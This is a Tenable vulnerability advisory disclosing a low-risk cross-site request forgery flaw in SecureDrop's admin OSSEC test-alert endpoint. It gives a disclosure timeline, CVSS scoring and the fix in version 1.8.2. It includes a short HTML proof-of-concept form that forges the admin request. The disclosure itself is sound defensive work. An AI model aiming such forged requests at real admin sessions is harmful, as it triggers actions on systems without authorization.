Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

SecureDrop OSSEC Cross-Site Request Forgery

Low

Synopsis

CSRF allows an unauthenticated attacker to forge application requests via crafted links or forms. An attacker could trick an admin into clicking a link that would then fire off a valid application request to send OSSEC test alert emails to themselves. An unauthenticated attacker can therefore trick an admin into sending such an alert.

Proof of Concept (PoC)

The following will send an OSSEC test alert if clicked on in a browser with an active admin session. Please note that the IP address would have to be changed to target the “victim” SecureDrop application.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://172.26.31.232:8081/admin/ossec-test">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Solution

Upgrade to SecureDrop 1.8.2.

Disclosure Timeline

05/07/2021 - Tenable requests a security contact via the SecureDrop contact form.
05/07/2021 - SecureDrop replies with security contact and PGP key.
05/10/2021 - Tenable sends encrypted report to SecureDrop. 90-day date is August 09, 2021.
05/10/2021 - SecureDrop thanks us. Asks us for our PGP key.
05/12/2021 - Tenable sends PGP key.
05/17/2021 - SecureDrop plans to release a fix May 18. Gives us link to PR to review. They will reach out Thurs to coordinate disclosure.
05/19/2021 - Tenable confirms fix was released. Communicates intent to publish.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2021-17
Credit:
Nick Manfredi
CVSSv3 Base / Temporal Score:
3.1 / 2.8
CVSSv3 Vector:
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N
Affected Products:
SecureDrop prior to 1.8.2
Risk Factor:
Low

Advisory Timeline

05/19/2021 - Advisory published.
05/20/2021 - Added link to SecureDrop advisory